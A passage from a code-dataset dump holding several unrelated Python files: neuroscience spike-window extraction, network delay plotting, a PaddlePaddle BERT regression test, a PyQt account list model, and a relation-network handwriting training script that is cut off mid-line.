spike_history=0):\n\t\"\"\"\n\tExtracts windows from a stimulus time-series and a spike train.\n\n\t@type stimulus: C{ndarray}\n\t@param stimulus: time-series (NxT) where the second dimension is time\n\n\t@type stimulus_history: C{int}\n\t@param stimulus_history: length of extracted stimulus windows\n\n\t@type spike_train: C{ndarray}\n\t@param spike_train: spikes corresponding to stimulus (1xT)\n\n\t@type spike_history: C{int}\n\t@param spike_history: length of extracted spike windows\n\n\t@rtype: C{tuple}/C{ndarray}\n\t@return: stimulus windows, spike histories, and spikes\n\t\"\"\"\n\n\tif stimulus.ndim == 1:\n\t\tstimulus = stimulus.reshape(1, -1)\n\n\tif spike_train is None:\n\t\treturn extract_windows(stimulus, stimulus_history)\n\n\tif spike_train.ndim == 1:\n\t\tspike_train = spike_train.reshape(1, -1)\n\n\tif stimulus.shape[1] != spike_train.shape[1]:\n\t\traise ValueError('Stimulus and spike train should have the same length.')\n\n\t# extract stimulus and spike history windows\n\tspikes = extract_windows(spike_train, spike_history + 1)\n\tstimuli = extract_windows(stimulus, stimulus_history)\n\n\t# make sure stimuli and spikes are aligned\n\tspikes = spikes[:, -stimuli.shape[1]:]\n\tstimuli = stimuli[:, -spikes.shape[1]:]\n\n\t# separate last spike of each window\n\toutputs = spikes[[-1]]\n\tspikes = spikes[:-1]\n\n\tif spike_history > 0:\n\t\treturn stimuli, spikes, outputs\n\telse:\n\t\treturn stimuli, outputs\n","sub_path":"code/cmt/python/tools/spikes.py","file_name":"spikes.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"11944605","text":"#!/usr/bin/env python3\n\nimport csv\nimport sys\nimport itertools\nimport matplotlib\nfrom matplotlib import pyplot as plt\nimport scipy\nimport numpy as np\nimport sphviewer as sph\nimport math\n\nimport sys\nsys.path += ['/home/yt113/.local/lib/python3.5/site-packages', '/usr/local/lib/python3.5/dist-packages']\n\nimport seaborn as sns\nfrom collections import defaultdict\n\ndef load_csv(csv_name):\n cf = open(csv_name, 'r')\n cw = csv.DictReader(cf)\n return list(cw)\n\ndef groupby(data, gpkeys, varkey, score_func):\n def mapf (args):\n k,g = args\n def mapg(g):\n return (g[varkey], score_func(g))\n return (k, list(map(mapg, g)))\n keyfunc = lambda x: [x[k] for k in gpkeys]\n data = sorted(data, key=keyfunc)\n gp = itertools.groupby(data, keyfunc)\n return list(map(mapf, gp))\n\ndef round_agg(data, keys, score_func):\n data = [d for d in data if int(d[\"run_time(sec)\"]) in [1, 2]]\n rdagg = {}\n for key in filter(lambda k: k != \"queue_size\", keys):\n gpkeys = list(filter(lambda k: k != key, keys))\n varkey = key\n gps = groupby(data, gpkeys, varkey, score_func)\n rdagg[varkey] = gps\n return rdagg\n\ndef plot_rdagg(rdagg):\n for varkey, gps in rdagg.items():\n gps = list(gps)\n print(varkey)\n fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(12, 6))\n fig.set_dpi(300)\n\n def plot_fig(ax, x, y):\n y = np.array(y)\n y *= 100\n ax.set_title(varkey + \" - \" + \"recv_rate (%)\")\n ax.set_xlabel(varkey)\n ax.set_ylabel(\"recv_rate (%)\")\n if varkey in [\"data_size(Byte)\", \"comm_freq(Hz)\"]:\n ax.semilogx(x,y)\n else:\n ax.plot(x, y)\n\n\n def plot_mul(ax):\n ax.set_title(varkey)\n for gp in gps:\n setting, scores = gp\n x,y = zip(*scores)\n plot_fig(ax, x, y)\n\n\n def plot_avg(ax):\n ax.set_title(varkey)\n scores = list(reduce(lambda a,b: a+b[1], gps, []))\n scores = sorted(scores)\n scoregp = itertools.groupby(scores, lambda x:x[0])\n\n scores = map(lambda x: (x[0], scipy.mean([y[1] for y in x[1]])) , scoregp)\n x,y = zip(*scores)\n plot_fig(ax, x, y)\n\n plot_mul(ax1)\n plot_avg(ax2)\n plt.tight_layout()\n plt.show()\n\ndef heatplot(x, y, nb=32, xsize=500, ysize=500): \n xmin = np.min(x)\n xmax = np.max(x)\n ymin = np.min(y)\n ymax = np.max(y)\n\n x0 = (xmin+xmax)/2.\n y0 = (ymin+ymax)/2.\n\n pos = np.zeros([3, len(x)])\n pos[0,:] = x\n pos[1,:] = y\n w = np.ones(len(x))\n\n P = sph.Particles(pos, w, nb=nb)\n S = sph.Scene(P)\n S.update_camera(r='infinity', x=x0, y=y0, z=0, \n xsize=xsize, ysize=ysize)\n R = sph.Render(S)\n R.set_logscale()\n img = R.get_image()\n extent = R.get_extent()\n for i, j in zip(xrange(4), [x0,x0,y0,y0]):\n extent[i] += j\n return img, extent\n \n#(x[0], scipy.mean(list(x[1])[1]))\ndef analyze_recv_rate(csv_name):\n data = load_csv(csv_name)\n rdagg = round_agg(data, [\"run_time(sec)\", \"data_size(Byte)\", \"comm_freq(Hz)\", \"queue_size\", \"talk_length\", \"lstn_length\"], lambda x: float(x[\"lstn_sum\"])/(float(x[\"talk_sum\"])*float(x[\"lstn_length\"])))\n plot_rdagg(rdagg)\n\ndef analyze_delay(csv_name):\n data = load_csv(csv_name)\n data = [{k: float(v) for k,v in d.items()} for d in data if float(d[\"interval\"]) > 0]\n y = [float(d['delay']) for d in data]\n xs = {}\n for x_type in [\"interval\", \"data_size\", \"lstn_n\", \"talk_n\"]:\n xs[x_type] = [float(d[x_type]) for d in data]\n\n x_interval = xs[\"interval\"]\n #print([x for x in x_interval if x < 0])\n x_data_size = xs[\"data_size\"]\n xs[\"speed\"] = [ds / intv for intv, ds in zip(x_interval, x_data_size)]\n print(min(xs[\"speed\"]))\n print(max(xs[\"speed\"]))\n print(min(xs[\"interval\"]))\n print(max(xs[\"interval\"]))\n print(min(xs[\"data_size\"]))\n print(max(xs[\"data_size\"]))\n \n x = xs[\"data_size\"]\n heatmap_16, extent_16 = heatplot(x,y, nb=64)\n plt.figure()\n ax = plt.gca()\n ax.imshow(heatmap_16, extent=extent_16, origin='lower', aspect='auto')\n ax.set_title(\"Smoothing over 16 neighbors\")\n \n x = xs[\"data_size\"]\n x_sub = [x[i] for i in range(len(y)) if y[i] < 0.001]\n y_sub = [y[i] for i in range(len(y)) if y[i] < 0.001]\n heatmap_16, extent_16 = heatplot(x_sub,y_sub, nb=128)\n plt.figure()\n ax = plt.gca()\n ax.imshow(heatmap_16, extent=extent_16, origin='lower', aspect='auto')\n ax.set_title(\"Smoothing over 16 neighbors\")\n \n x = xs[\"speed\"]\n #x_sub = [x[i] for i in range(len(y)) if y[i] < 0.001]\n #y_sub = [y[i] for i in range(len(y)) if y[i] < 0.001]\n heatmap_16, extent_16 = heatplot(x,y, nb=32)\n plt.figure()\n ax = plt.gca()\n ax.imshow(heatmap_16, extent=extent_16, origin='lower', aspect='auto')\n ax.set_title(\"speed\")\n \n # x = xs[\"data_size\"]\n # heatmap, xedges, yedges = np.histogram2d(x, y, bins=50)\n # extent = [xedges[0], xedges[-1], yedges[0], yedges[-1]]\n # plt.clf()\n # plt.imshow(heatmap.T, extent=extent, origin='lower')\n # plt.show()\n \n # ax = sns.heatmap(zip(xs[\"data_size\"], y), linewidth=0.5)\n # plt.show()\n \n # plt.figure()\n # plt.hexbin(xs[\"data_size\"], y)\n # plt.show() \n\n # from mpl_toolkits.mplot3d import Axes3D\n # fig = plt.figure()\n # ax = fig.add_subplot(111, projection='3d')\n # ax.scatter(xs[\"interval\"], xs[\"data_size\"], y, edgecolors='none', alpha=0.5)\n # plt.show()\n\n for x_type, x in xs.items():\n plt.figure()\n ax = plt.gca()\n ax.set_title(x_type)\n ax.scatter(x,y, edgecolors='none', alpha=0.5)\n if x_type in [\"speed\"]:\n ax.set_xscale('log')\n plt.show()\n \ndef scatter_plot(ax, x,y, title, x_label, y_label, x_log=False, y_log=False):\n if ax is None:\n plt.figure()\n ax = plt.gca()\n ax.set_title(title)\n ax.set_xlabel(x_label)\n ax.set_ylabel(y_label)\n ax.scatter(x,y, edgecolors='none', alpha=0.5)\n if x_log:\n ax.set_xscale('log')\n if y_log:\n ax.set_yscale('log')\n #plt.show()\n\ndef heat_plot(ax, x, y, title, x_label, y_label, nb=64):\n heatmap, extent = heatplot(x,y, nb=nb)\n if ax is None:\n plt.figure()\n ax = plt.gca()\n ax.imshow(heatmap, extent=extent, origin='lower', aspect='auto')\n ax.set_title(title)\n ax.set_xlabel(x_label)\n ax.set_ylabel(y_label)\n\n \ndef analyze_delay_in_nodenums(csv_name):\n data = load_csv(csv_name)\n data = [{k: float(v) for k,v in d.items()} for d in data if float(d[\"interval\"]) > 0]\n \n data_in_nodenums = defaultdict(list)\n for d in data:\n data_in_nodenums[(int(d[\"talk_n\"]), int(d[\"lstn_n\"]))].append(d)\n \n nn = data_in_nodenums.keys()\n max_talkn = max(np[0] for np in nn)\n max_lstnn = max(np[1] for np in nn)\n figs = {}\n for x_type in [\"interval\", \"data_size\", \"speed\"]:\n fig, axes = plt.subplots(max_talkn, max_lstnn, sharex=True, sharey=True, figsize=(15,15))\n fig.set_dpi(400)\n figs[x_type] = {\"fig\":fig, \"axes\":axes}\n \n for nn, sub_data in data_in_nodenums.items():\n talk_n, lstn_n = nn\n title_base = \"talk_n=%d lstn_n=%d \"%(talk_n, lstn_n)\n y_shared = [float(d['delay']) * 1000 for d in sub_data] #ms\n y_label = \"delay (ms)\"\n xs = {}\n xs[\"interval\"] = np.array([float(d[\"interval\"]) * 1000 for d in sub_data]) # ms\n xs[\"data_size\"] = np.array([float(d[\"data_size\"]) / 1000 for d in sub_data]) # KB\n xs[\"speed\"] = xs[\"data_size\"] / xs[\"interval\"] # KB / ms\n #xs[\"interval_heat\"] = np.log10(xs[\"interval\"]) # 10^(x) KB\n \n xlbl = {}\n xlbl[\"interval\"] = \"interval (ms)\"\n xlbl[\"data_size\"] = \"data_size (KB)\"\n xlbl[\"speed\"] = \"speed (KB/ms)\"\n #xlbl[\"interval_heat\"] = \"interval (10^(x) KB)\"\n \n # new_xs = {}\n # new_xs[\"interval_heat\"] = xs[\"interval_heat\"]\n # xs = new_xs\n for x_type, x in xs.items():\n axes = figs[x_type][\"axes\"]\n talk_n, lstn_n = nn\n ax = axes[talk_n-1, lstn_n-1]\n y = y_shared\n title = title_base + x_type + \" - \" + \"delay\" \n x_label = xlbl[x_type]\n x_log = False\n if x_type in [\"interval\", \"data_size\", \"speed\"]:\n x_log = True\n y_log = True\n \n if x_type in [\"interval\", \"data_size\", \"speed\"]:\n scatter_plot(ax, x, y, title, x_label, y_label, x_log, y_log)\n elif x_type in [\"interval_heat\"]:\n #heat_plot(ax, x, y, title, x_label, y_label, 128)\n pass\n plt.show()\n\ndef main():\n csv_name, csv_type = sys.argv[1:3]\n if csv_type == \"recv_rate\":\n analyze_recv_rate(csv_name)\n elif csv_type == \"delay\":\n analyze_delay_in_nodenums(csv_name)\n #analyze_delay(csv_name)\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"analysis_csv.py","file_name":"analysis_csv.py","file_ext":"py","file_size_in_byte":9078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"610733897","text":"# Copyright (c) 2023 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport time\nimport unittest\n\nimport numpy as np\nfrom bert import Bert, BertPretrainingCriterion, create_pretraining_dataset\n\nimport paddle\nfrom paddle import fluid\nfrom paddle.dataset.common import DATA_HOME, download\nfrom paddle.fluid import core\n\nSEED = 2023\nBATCH_SIZE = 2\n\nURL = 'https://paddle-ci.gz.bcebos.com/prim_cinn/bert_training_data.npz'\nMODULE_NAME = 'test_bert_prim_cinn'\nMD5SUM = '71e730ee8d7aa77a215b7e898aa089af'\nSAVE_NAME = 'bert_training_data.npz'\n\n\nDY2ST_PRIM_GT = [\n 11.144556999206543,\n 10.343620300292969,\n 10.330279350280762,\n 10.276118278503418,\n 10.222086906433105,\n 10.194628715515137,\n 10.14902114868164,\n 10.096250534057617,\n 10.104615211486816,\n 9.985644340515137,\n]\n\nif core.is_compiled_with_cuda():\n paddle.set_flags({'FLAGS_cudnn_deterministic': True})\n\n\ndef train(to_static, enable_prim, enable_cinn):\n if core.is_compiled_with_cuda():\n paddle.set_device('gpu')\n else:\n paddle.set_device('cpu')\n fluid.core._set_prim_all_enabled(enable_prim)\n\n np.random.seed(SEED)\n paddle.seed(SEED)\n # paddle.framework.random._manual_program_seed(SEED)\n\n train_data_loader = create_pretraining_dataset(\n os.path.join(DATA_HOME, MODULE_NAME, SAVE_NAME),\n 20,\n {},\n batch_size=BATCH_SIZE,\n worker_init=None,\n )\n\n # Now only apply dy2st for encoder\n bert = Bert(to_static, enable_cinn)\n criterion = BertPretrainingCriterion()\n\n optimizer = paddle.optimizer.Adam(parameters=bert.parameters())\n\n losses = []\n for step, batch in enumerate(train_data_loader):\n start_time = time.time()\n (\n input_ids,\n segment_ids,\n input_mask,\n masked_lm_positions,\n masked_lm_labels,\n next_sentence_labels,\n masked_lm_scale,\n ) = batch\n\n prediction_scores, seq_relationship_score = bert(\n input_ids=input_ids,\n token_type_ids=segment_ids,\n attention_mask=input_mask,\n masked_positions=masked_lm_positions,\n )\n\n loss = criterion(\n prediction_scores,\n seq_relationship_score,\n masked_lm_labels,\n next_sentence_labels,\n masked_lm_scale,\n )\n\n loss.backward()\n optimizer.minimize(loss)\n bert.clear_gradients()\n losses.append(loss.numpy().item())\n\n print(\n \"step: {}, loss: {}, batch_cost: {:.5}\".format(\n step,\n loss.numpy(),\n time.time() - start_time,\n )\n )\n if step >= 9:\n break\n print(losses)\n return losses\n\n\nclass TestBert(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n download(URL, MODULE_NAME, MD5SUM, SAVE_NAME)\n\n def tearDown(self):\n paddle.set_flags({'FLAGS_deny_cinn_ops': ''})\n\n @unittest.skipIf(\n not (paddle.is_compiled_with_cinn() and paddle.is_compiled_with_cuda()),\n \"paddle is not compiled with CINN and CUDA\",\n )\n def test_prim(self):\n dy2st_prim = train(to_static=True, enable_prim=True, enable_cinn=False)\n np.testing.assert_allclose(dy2st_prim, DY2ST_PRIM_GT, rtol=1e-5)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/prim/model/test_bert_prim.py","file_name":"test_bert_prim.py","file_ext":"py","file_size_in_byte":3908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"496052439","text":"# coding=utf-8\nfrom PyQt5 import QtCore, QtGui\n\n\nclass AccountListModel(QtCore.QAbstractListModel):\n def __init__(self, accounts=None, parent=None):\n super(AccountListModel, self).__init__(parent)\n if accounts is None:\n accounts = []\n self.__accounts = accounts\n\n @property\n def accounts(self):\n return self.__accounts\n\n @accounts.setter\n def accounts(self, accounts):\n self.__accounts = accounts\n\n def rowCount(self, parent):\n return len(self.__accounts)\n\n def data(self, index, role):\n if role == QtCore.Qt.ToolTipRole:\n return self.__accounts[index.row()].description\n\n if role == QtCore.Qt.DecorationRole:\n row = index.row()\n icon = QtGui.QIcon()\n if self.__accounts[row].steamlink is not None:\n icon.addFile('avatars/{0}.jpg'.format(self.__accounts[row].login))\n else:\n icon.addFile('avatars/default.jpg')\n return icon\n\n if role == QtCore.Qt.DisplayRole:\n row = index.row()\n value = self.__accounts[row]\n if value.nickname == value.login:\n return '{0}'.format(value.login)\n else:\n return '{0} ({1})'.format(value.nickname, value.login)\n\n def flags(self, index):\n return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable\n\n def insertRows(self, position, item, rows=1, parent=QtCore.QModelIndex()):\n self.beginInsertRows(parent, position, position + rows - 1)\n\n for i in range(rows):\n self.__accounts.insert(position, item)\n\n self.endInsertRows()\n return True\n\n def removeRows(self, position, rows=1, parent=QtCore.QModelIndex()):\n self.beginRemoveRows(parent, position, position + rows - 1)\n\n for i in range(rows):\n value = self.__accounts[position]\n self.__accounts.remove(value)\n\n self.endRemoveRows()\n return True\n","sub_path":"src/models/sam_list_model.py","file_name":"sam_list_model.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"588239227","text":"# -*- coding: UTF-8 -*-\n#!/usr/bin/python3\n\"\"\"\n@Author Yi Zhu\nUpated 05/15/2018\n\"\"\"\n\n#************************************************************\n# Imported Libraries\n#************************************************************\nimport torch.optim as optim\n\n\ndef get_optimizer(m):\n if m.opt == 'adagrad':\n optimizer = optim.Adagrad(filter(lambda p: p.requires_grad, m.model.parameters()), lr = m.lr)\n else:\n optimizer = optim.SGD(filter(lambda p: p.requires_grad, m.model.parameters()), lr = m.lr)\n return optimizer\n\n\ndef schedule_lr(m, optimizer, prog):\n lr = m.lr * (1 - prog)\n if lr < 0.0001 * m.lr:\n lr = 0.0001 * m.lr\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n return lr\n","sub_path":"code/scripts/nn_utils.py","file_name":"nn_utils.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"497323014","text":"import random\nimport time\nimport datetime\nimport math\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom torch.optim.lr_scheduler import StepLR\nimport torch.nn.functional as F\nimport torchvision.transforms as transforms\nimport scipy as sp\nimport scipy.stats\nimport argparse\nfrom code1 import init,read_image,get_image\n\n#计算准确率的平均值和误差\ndef mean_confidence_interval(data, confidence=0.95):\n a = 1.0*np.array(data)\n n = len(a)\n m, se = np.mean(a), scipy.stats.sem(a)\n h = se * sp.stats.t._ppf((1+confidence)/2., n-1)\n return m,h\n\n#特征降维网络定义\nclass CNNEncoder(nn.Module):\n def __init__(self):\n super(CNNEncoder, self).__init__()\n self.layer1 = nn.Sequential(\n nn.Conv2d(1, 64, kernel_size=3, padding=0),\n nn.BatchNorm2d(64, momentum=1, affine=True),\n nn.ReLU(),\n nn.MaxPool2d(2))\n self.layer2 = nn.Sequential(\n nn.Conv2d(64, 64, kernel_size=3, padding=0),\n nn.BatchNorm2d(64, momentum=1, affine=True),\n nn.ReLU(),\n nn.MaxPool2d(2))\n self.layer3 = nn.Sequential(\n nn.Conv2d(64, 64, kernel_size=3, padding=1),\n nn.BatchNorm2d(64, momentum=1, affine=True),\n nn.ReLU())\n self.layer4 = nn.Sequential(\n nn.Conv2d(64, 64, kernel_size=3, padding=1),\n nn.BatchNorm2d(64, momentum=1, affine=True),\n nn.ReLU())\n def forward(self,x):\n out = self.layer1(x)\n out = self.layer2(out)\n out = self.layer3(out)\n out = self.layer4(out)\n return out\n\n#关系判断网络定义\nclass RelationNetwork(nn.Module):\n def __init__(self):\n super(RelationNetwork, self).__init__()\n self.layer1 = nn.Sequential(\n nn.Conv2d(128, 64, kernel_size=3, padding=0),\n nn.BatchNorm2d(64, momentum=1, affine=True),\n nn.ReLU(),\n nn.MaxPool2d(2))\n self.layer2 = nn.Sequential(\n nn.Conv2d(64, 64, kernel_size=3, padding=0),\n nn.BatchNorm2d(64, momentum=1, affine=True),\n nn.ReLU(),\n nn.MaxPool2d(2))\n self.fc1 = nn.Linear(64*3*3, 8)\n self.fc2 = nn.Linear(8, 1)\n def forward(self,x):\n out = self.layer1(x)\n out = self.layer2(out)\n out = out.view(out.size(0), -1)\n out = F.relu(self.fc1(out))\n out = torch.sigmoid(self.fc2(out))\n return out\n\n#初始化网络参数\ndef weights_init(m):\n classname = m.__class__.__name__\n if classname.find('Conv') != -1:\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n if m.bias is not None:\n m.bias.data.zero_()\n elif classname.find('BatchNorm') != -1:\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n elif classname.find('Linear') != -1:\n n = m.weight.size(1)\n m.weight.data.normal_(0, 0.01)\n m.bias.data = torch.ones(m.bias.data.size())\n\n#训练和测试模型B时获取数据,train为True表示训练,False表示测试\ndef get_data(data, class_num, sample_num, batch_num, train, transform):\n if train:\n a = random.sample(range(2000), class_num)\n else:\n a = random.sample(range(2000, 3755), class_num)\n dic = dict(zip(a, range(class_num)))\n b = [list(zip([i]*(sample_num+batch_num), random.sample(range(len(data[i])), sample_num+batch_num))) for i in a]\n samples = torch.zeros(class_num*sample_num, 1, 84, 84)\n batches = torch.zeros(class_num*batch_num, 1, 84, 84)\n batch_labels = torch.zeros(class_num*batch_num)\n cc = 0\n for i in b:\n for j in i[:sample_num]:\n samples[cc] = transform(get_image(read_image(data[j[0]][j[1]])))\n cc += 1\n c = [j for i in b for j in i[sample_num:]]\n random.shuffle(c)\n for i in range(len(c)):\n batches[i] = transform(get_image(read_image(data[c[i][0]][c[i][1]])))\n batch_labels[i] = dic[data[c[i][0]][c[i][1]][1]]\n return samples, batches, batch_labels\n\n#训练模型A时获取数据\ndef get_data2(data, transform):\n ret = []\n if random.sample(range(15), 1)[0] < 13:\n c = random.sample(range(2000), A*2-A//3+1)\n b = random.sample(range(len(data[c[0]])), A//3+1)\n ret = []\n for i in range(1, len(b)):\n ret.append((c[0], b[0], c[0], b[i], 1))\n for i in range(1, len(c)):\n d = random.sample(range(len(data[c[i]])), 1)[0]\n ret.append((c[0], b[0], c[i], d, 0)) \n else:\n for i in range(A):\n x = random.sample(range(2000), 1)[0]\n a = random.sample(range(len(data[x])), 2)\n ret.append((x, a[0], x, a[1], 1))\n for i in range(A):\n x = random.sample(range(2000), 2)\n a = random.sample(range(len(data[x[0]])), 1)[0]\n b = random.sample(range(len(data[x[1]])), 1)[0]\n ret.append((x[0], a, x[1], b, 0))\n random.shuffle(ret)\n samples = torch.zeros(A*2, 1, 84, 84)\n batches = torch.zeros(A*2, 1, 84, 84)\n batch_labels = torch.zeros(A*2, 1)\n for i in range(A*2):\n samples[i] = transform(get_image(read_image(data[ret[i][0]][ret[i][1]])))\n batches[i] = transform(get_image(read_image(data[ret[i][2]][ret[i][3]])))\n batch_labels[i][0] = ret[i][4]\n return samples, batches, batch_labels\n\ndef trs(tt):\n #图片正则化函数\n normalize = transforms.Normalize(mean=[0.92206], std=[0.08426])\n transform = transforms.Compose([transforms.ToTensor(),normalize])\n #读取数据列表\n words, train_img, test_img, data = init(True)\n r_len = len(words)\n #特征降维网络定义\n feature_encoder = CNNEncoder()\n #关系判断网络定义\n relation_network = RelationNetwork()\n #初始化网络参数\n feature_encoder.apply(weights_init)\n relation_network.apply(weights_init)\n #存储网络到GPU\n feature_encoder.cuda()\n relation_network.cuda()\n #使用adam方法更新学习率\n feature_encoder_optim = torch.optim.Adam(feature_encoder.parameters(),lr=0.001)\n feature_encoder_scheduler = StepLR(feature_encoder_optim,step_size=100000,gamma=0.5)\n relation_network_optim = torch.optim.Adam(relation_network.parameters(),lr=0.001)\n relation_network_scheduler = StepLR(relation_network_optim,step_size=100000,gamma=0.5)\n #记录时间\n start = time.time()\n print('start:', datetime.datetime.now())\n if tt == 't':\n #测试模型A+B\n for z in range(10):\n test_data = [random.sample(range(len(data[i])), 6) for i in range(r_len)]\n item = random.sample(range(r_len), 50)\n acc = 0\n cc = 0\n acc2 = 0\n for i in item:\n #加载模型A参数,计算结果\n feature_encoder.load_state_dict(torch.load('A-fe-150000.pkl'))\n relation_network.load_state_dict(torch.load('A-rn-150000.pkl'))\n cc += 1\n ret = [0 for j in range(r_len)]\n for j in range(0, r_len, 25):\n sz = min(25, r_len-j)\n batches = torch.zeros(sz*5, 1, 84, 84)\n batches[0] = transform(get_image(read_image(data[i][test_data[i][-1]])))\n for k in range(1,sz*5):\n batches[k] = batches[0]\n samples = torch.zeros(sz*5, 1, 84, 84)\n for k in range(sz):\n for l in range(5):\n samples[k*5+l] = transform(get_image(read_image(data[j+k][test_data[j+k][l]])))\n sample_features = feature_encoder(Variable(samples).cuda())\n batch_features = feature_encoder(Variable(batches).cuda())\n relation_pairs = torch.cat((sample_features, batch_features),1)\n relations = relation_network(relation_pairs)\n for k in range(sz):\n for l in range(5):\n ret[j+k] += float(relations.data[k*5+l][0])\n if ret.index(max(ret)) == i:\n acc += 1\n cnt = 0\n for j in ret:\n if j > ret[i]:\n cnt += 1\n #输出模型A准确率\n print(i, ret.index(max(ret)), ret[i], cnt, acc/cc, end='|| ')\n #计算模型A相似度最高的10个类型\n rmx = list(range(10))\n rmx.sort(reverse=True, key=lambda zz:ret[zz])\n for j in range(10, r_len):\n if ret[j] > ret[rmx[9]]:\n rmx[9] = j\n rmx.sort(reverse=True, key=lambda zz:ret[zz])\n #加载模型B参数,计算10个类型的结果\n feature_encoder.load_state_dict(torch.load('B-fe-200000.pkl'))\n relation_network.load_state_dict(torch.load('B-rn-200000.pkl'))\n samples = torch.zeros(50, 1, 84, 84)\n for j in range(10):\n for k in range(5):\n samples[j*5+k] = transform(get_image(read_image(data[rmx[j]][test_data[rmx[j]][k]])))\n batches = torch.zeros(1, 1, 84, 84)\n batches[0] = transform(get_image(read_image(data[i][test_data[i][-1]])))\n sample_features = feature_encoder(Variable(samples).cuda())\n sample_features = sample_features.view(10, 5, 64, 19, 19)\n sample_features = torch.sum(sample_features, 1).squeeze(1)\n batch_features = feature_encoder(Variable(batches).cuda()).repeat(10, 1, 1, 1)\n relation_pairs = torch.cat((sample_features, batch_features),1)\n relations = relation_network(relation_pairs)\n now = 0\n pre = -1\n for j in range(10):\n if relations[j][0] > now:\n now = relations[j][0]\n pre = rmx[j]\n if pre == i:\n acc2 += 1\n #输出模型B的准确率\n print(pre, acc2/cc)\n #输出一次测试50个字的结果,记录时间\n accuracies.append(acc2/cc)\n print('TE:', z, 'acc:', acc/cc, acc2/cc, datetime.datetime.now(), 'use:', time.time() - start)\n print(datetime.datetime.now(), 'use:', time.time() - start)\n #输出准确率的平均值和误差\n test_accuracy, h = mean_confidence_interval(accuracies)\n print(\"\\ntest accuracy:\",test_accuracy,\"h:\",h)\n return\n for xx in range(1, 200000):\n feature_encoder_scheduler.step(xx)\n relation_network_scheduler.step(xx)\n #训练,随机抽取一组数据\n if tt == 'a':\n samples, batches, batch_labels = get_data2(data, transform)\n elif tt == 'b':\n samples, batches, batch_labels = get_data(data, CLASS_NUM, SAMPLE_NUM, BATCH_NUM, True, transform)\n #计算样本数据特征\n sample_features = feature_encoder(Variable(samples).cuda())\n if tt == 'b':\n sample_features = sample_features.view(CLASS_NUM, SAMPLE_NUM, 64, 19, 19)\n sample_features = torch.sum(sample_features, 1).squeeze(1)\n #计算查询数据特征\n batch_features = feature_encoder(Variable(batches).cuda())\n #组合查询数据和样本数据的特征,计算相关度\n if tt == 'a':\n relation_pairs = torch.cat((sample_features, batch_features), 1)\n relations = relation_network(relation_pairs)\n elif tt == 'b':\n sample_features_ext = sample_features.unsqueeze(0).repeat(BATCH_NUM*CLASS_NUM, 1, 1, 1, 1)\n batch_features_ext = batch_features.unsqueeze(0).repeat(CLASS_NUM, 1, 1, 1, 1)\n batch_features_ext = torch.transpose(batch_features_ext, 0, 1)\n relation_pairs = torch.cat((sample_features_ext, batch_features_ext),2).view(-1, 128, 19, 19)\n relations = relation_network(relation_pairs).view(-1, CLASS_NUM)\n #计算loss函数\n mse = nn.MSELoss().cuda()\n if tt == 'a':\n batch_labels = batch_labels.cuda()\n acc = 0\n for i in range(A*2):\n if batch_labels[i][0] == 1 and relations[i][0] > 0.99:\n acc += 1\n if batch_labels[i][0] == 0 and relations[i][0] < 0.01:\n acc += 1\n loss = mse(relations, batch_labels)\n elif tt == 'b':\n one_hot_labels = Variable(torch.zeros(BATCH_NUM*CLASS_NUM, CLASS_NUM).scatter_(1, batch_labels.view(-1, 1).long(), 1).cuda())\n loss = mse(relations, one_hot_labels)\n #更新参数\n feature_encoder.zero_grad()\n relation_network.zero_grad()\n loss.backward()\n torch.nn.utils.clip_grad_norm(feature_encoder.parameters(),0.5)\n torch.nn.utils.clip_grad_norm(relation_network.parameters(),0.5)\n feature_encoder_optim.step()\n relation_network_optim.step()\n #输出loss,记录时间\n if xx % 5 == 0:\n if tt == 'a':\n print(\"episode:\",xx,\"loss\",loss.data.item(), \"acc:\", acc/300)\n elif tt == 'b':\n print(\"episode:\",xx,\"loss\",loss.data.item())\n print(datetime.datetime.now(), 'use:', time.time() - start)\n #模型A保存网络参数\n if xx % 1000 == 0 and tt == 'a':\n torch.save(feature_encoder.state_dict(), 'A-fe-'+str(xx)+'.pkl')\n torch.save(relation_network.state_dict(), 'A-rn-'+str(xx)+'.pkl')\n #模型B保存网络参数并测试\n if xx % 1000 == 0 and tt == 'b':\n torch.save(feature_encoder.state_dict(), 'B-fe-'+str(xx)+'.pkl')\n torch.save(relation_network.state_dict(), 'B-rn-'+str(xx)+'.pkl')\n print(\"Testing...\")\n accuracies = []\n #测试600次计算准确率的平均值和误差\n for i in range(600):\n #获取测试数据\n samples, batches, batch_labels = get_data(data, CLASS_NUM, SAMPLE_NUM, BATCH_NUM, False, transform)\n #计算样本数据特征\n sample_features = feature_encoder(Variable(samples).cuda())\n sample_features = sample_features.view(CLASS_NUM, SAMPLE_NUM, 64, 19, 19)\n sample_features = torch.sum(sample_features, 1).squeeze(1)\n #计算查询数据特征\n batch_features = feature_encoder(Variable(batches).cuda())\n #组合样本和查询数据特征,计算相关度\n sample_features_ext = sample_features.unsqueeze(0).repeat(BATCH_NUM*CLASS_NUM, 1, 1, 1, 1)\n batch_features_ext = 